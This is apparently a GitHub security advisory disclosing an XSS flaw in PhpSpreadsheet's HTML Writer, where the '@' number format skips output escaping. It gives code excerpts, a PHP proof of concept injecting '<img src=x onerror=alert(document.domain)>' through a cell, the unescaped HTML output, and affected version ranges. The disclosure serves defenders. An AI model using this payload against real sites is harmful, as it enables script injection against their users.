GHSA-6wpp-88cp-7q68medium5.3

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

The advisory, in context

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in `Html.php:1586-1594`

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in `Formatter.php:136-152`

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

phpoffice/phpspreadsheet Packagist

Ecosystem versions

From 4.0.0 before 5.7.0

Fixed in 5.7.0

14 explicitly affected versions

4.0.0, 4.1.0, 4.2.0, 4.3.0, 4.3.1, 4.4.0, 4.5.0, 5.0.0, 5.1.0, 5.2.0, 5.3.0, 5.4.0, 5.5.0, 5.6.0

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "4.0.0"
        },
        {
          "fixed": "5.7.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "4.0.0",
    "4.1.0",
    "4.2.0",
    "4.3.0",
    "4.3.1",
    "4.4.0",
    "4.5.0",
    "5.0.0",
    "5.1.0",
    "5.2.0",
    "5.3.0",
    "5.4.0",
    "5.5.0",
    "5.6.0"
  ]
}

phpoffice/phpspreadsheet Packagist

Ecosystem versions

From 3.3.0 before 3.10.5

Fixed in 3.10.5

15 explicitly affected versions

3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.10.4, 3.3.0, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.9.0, 3.9.1, 3.9.2, 3.9.3

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "3.3.0"
        },
        {
          "fixed": "3.10.5"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "3.10.0",
    "3.10.1",
    "3.10.2",
    "3.10.3",
    "3.10.4",
    "3.3.0",
    "3.4.0",
    "3.5.0",
    "3.6.0",
    "3.7.0",
    "3.8.0",
    "3.9.0",
    "3.9.1",
    "3.9.2",
    "3.9.3"
  ]
}

phpoffice/phpspreadsheet Packagist

Ecosystem versions

From 2.2.0 before 2.4.5

Fixed in 2.4.5

18 explicitly affected versions

2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.10, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2.2.0"
        },
        {
          "fixed": "2.4.5"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.2.0",
    "2.2.1",
    "2.2.2",
    "2.3.0",
    "2.3.10",
    "2.3.2",
    "2.3.3",
    "2.3.4",
    "2.3.5",
    "2.3.6",
    "2.3.7",
    "2.3.8",
    "2.3.9",
    "2.4.0",
    "2.4.1",
    "2.4.2",
    "2.4.3",
    "2.4.4"
  ]
}

phpoffice/phpspreadsheet Packagist

Ecosystem versions

From 2.0.0 before 2.1.16

Fixed in 2.1.16

16 explicitly affected versions

2.0.0, 2.1.0, 2.1.1, 2.1.10, 2.1.11, 2.1.12, 2.1.13, 2.1.14, 2.1.15, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2.0.0"
        },
        {
          "fixed": "2.1.16"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.0.0",
    "2.1.0",
    "2.1.1",
    "2.1.10",
    "2.1.11",
    "2.1.12",
    "2.1.13",
    "2.1.14",
    "2.1.15",
    "2.1.3",
    "2.1.4",
    "2.1.5",
    "2.1.6",
    "2.1.7",
    "2.1.8",
    "2.1.9"
  ]
}

phpoffice/phpspreadsheet Packagist

Ecosystem versions

Earlier releases before 1.30.4

Fixed in 1.30.4

61 explicitly affected versions

1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.29.1, 1.29.10, 1.29.11, 1.29.12, 1.29.2, 1.29.4, 1.29.5, 1.29.6, 1.29.7, 1.29.8, 1.29.9, 1.3.0, 1.3.1, 1.30.0, 1.30.1, 1.30.2, 1.30.3, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "1.30.4"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "1.0.0",
    "1.0.0-beta",
    "1.0.0-beta2",
    "1.1.0",
    "1.10.0",
    "1.10.1",
    "1.11.0",
    "1.12.0",
    "1.13.0",
    "1.14.0",
    "1.14.1",
    "1.15.0",
    "1.16.0",
    "1.17.0",
    "1.17.1",
    "1.18.0",
    "1.19.0",
    "1.2.0",
    "1.2.1",
    "1.20.0",
    "1.21.0",
    "1.22.0",
    "1.23.0",
    "1.24.0",
    "1.24.1",
    "1.25.0",
    "1.25.1",
    "1.25.2",
    "1.26.0",
    "1.27.0",
    "1.27.1",
    "1.28.0",
    "1.29.0",
    "1.29.1",
    "1.29.10",
    "1.29.11",
    "1.29.12",
    "1.29.2",
    "1.29.4",
    "1.29.5",
    "1.29.6",
    "1.29.7",
    "1.29.8",
    "1.29.9",
    "1.3.0",
    "1.3.1",
    "1.30.0",
    "1.30.1",
    "1.30.2",
    "1.30.3",
    "1.4.0",
    "1.4.1",
    "1.5.0",
    "1.5.1",
    "1.5.2",
    "1.6.0",
    "1.7.0",
    "1.8.0",
    "1.8.1",
    "1.8.2",
    "1.9.0"
  ]
}

Set up in your agent.

Investigate in your agent.

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

The advisory, in context

Summary

Details

1. Conditional escaping in `Html.php:1586-1594`

2. Early return in `Formatter.php:136-152`

PoC

Impact

Affected packages

References

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

The advisory, in context

Summary

Details

1. Conditional escaping in Html.php:1586-1594

2. Early return in Formatter.php:136-152

PoC

Impact

Affected packages

References

1. Conditional escaping in `Html.php:1586-1594`

2. Early return in `Formatter.php:136-152`